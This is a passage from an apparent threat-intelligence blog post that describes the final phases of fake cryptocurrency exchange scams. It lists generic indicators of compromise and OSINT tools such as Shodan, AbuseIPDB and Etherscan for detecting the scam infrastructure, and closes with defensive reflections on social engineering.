The fifth phase is the harvest. At some point withdrawals are blocked, with changing explanations: taxes that must be paid before unlocking, incomplete KYC procedures, unmet minimum thresholds, or unexpected technical fees. Each explanation is a pretext to extract more money from the victim before exit.

The sixth phase is the exit. Funds are moved through mixing services or cross-chain bridges into untraceable wallets, and the operator disappears. The fake exchange stops responding, the domain is abandoned, and the kit is reconfigured for the next campaign.

Generic Indicators of Compromise

Without revealing sensitive research data, the following is a set of generic indicators that anyone working in threat intelligence or blue team can use as a baseline for detection and monitoring.

On the domain and certificate side, it is worth monitoring domains registered less than 90 days ago with SSL from unknown or uncommon CAs, clones of known exchanges with typosquatting in the certificate CN, and domains whose URL structure imitates typical legitimate exchange paths.

On the API side, exposed /api/wallet or /api/transfer endpoints without authentication, as well as /api/admin endpoints accessible with default credentials, are strong indicators of criminal infrastructure.

On the network reputation side, an ASN with a high rate of reports on AbuseIPDB or present in Spamhaus blocklists is a signal worth taking seriously, especially when combined with the other indicators.

On the data infrastructure side, Elasticsearch instances exposed on port 9200 without authentication, with indices named users, deposits, wallets, or similar structures, are almost diagnostic for the kit in question.

On-chain, wallets showing rapid consolidation patterns toward exchanges known for weak KYC compliance deserve attention in the context of a broader analysis.

Tools and Methodology

For anyone who wants to replicate this methodology in authorized environments, the tools used and their purposes are listed below.

Shodan was the starting point for passive fingerprinting of exposed infrastructure, with iterative queries to progressively narrow the area of interest.
Local Elasticsearch made it possible to normalize, correlate, and analyze the collected data in a structured way, building a repeatable threat hunting environment.
Python with the requests and json libraries automated the collection and parsing of data from the Shodan API, reducing analysis time.
AbuseIPDB and Spamhaus enabled correlation of IPs with consolidated public blocklists.
Blockchain explorers such as Etherscan supported partial tracing of suspicious on-chain transactions.
Public paste sites were used for OSINT on credential leaks and to identify email patterns associated with the identified exchanges.
Whois and ASN lookups completed the picture on registrant and hosting provider identity.
Public OSINT forums provided context on the criminal supply chain and the market for kits.

The skills applied in this research cover passive threat intelligence, OSINT, SSL certificate analysis, reverse DNS, correlation of data from heterogeneous sources, Python scripting for automation, basic on-chain analysis, and ES|QL queries for structured threat hunting.

Final Reflections

This research confirmed something that is already understood at a theoretical level but is useful to see concretely: cybercriminals operating in this space behave like companies. They have operational divisions, standardized processes, a supplier market, and a capillary distribution system. The technical infrastructure they build is often mediocre from a security standpoint, with default configurations left unchanged, trivial credentials, and unauthenticated exposed instances. But that is not their real strength, and it would be a mistake to focus only on that.

Their real strength is social engineering, which has no patch and does not respond to firewalls. The victims of these scams are not naïve or uneducated people: they are people who were given attention, time, and systematic care to build trust. The technical component exists to give operational credibility to something that is, at its core, a relational scam.

From a defensive perspective, the two most effective fronts remain user education, especially around the mechanics of this type of fraud, and proactive monitoring of domains and certificates to identify suspicious infrastructure before it is actively used. From a threat hunting perspective, Shodan remains a significantly underused tool in Italian SOCs. With the right queries and a structured correlation method, it is possible to identify criminal infrastructure during the setup phase, before campaigns are launched.

If you work in blue team or threat intelligence and want to compare methodology or queries, the comments are open.

The contents of this article, including but not limited to: texts and analysis, the kill chain reconstructions, OSINT analyses and correlation methodologies; technical contributions, the Python scripts, the Elasticsearch (ES|QL) queries and the Shodan search strategies; graphic elaborations, comparison tables of tools and structural diagrams; are the exclusive intellectual property of the author, Marco Altomare, except where otherwise specified or where trademarks belong to their respective owners (e.g., Shodan, Elasticsearch).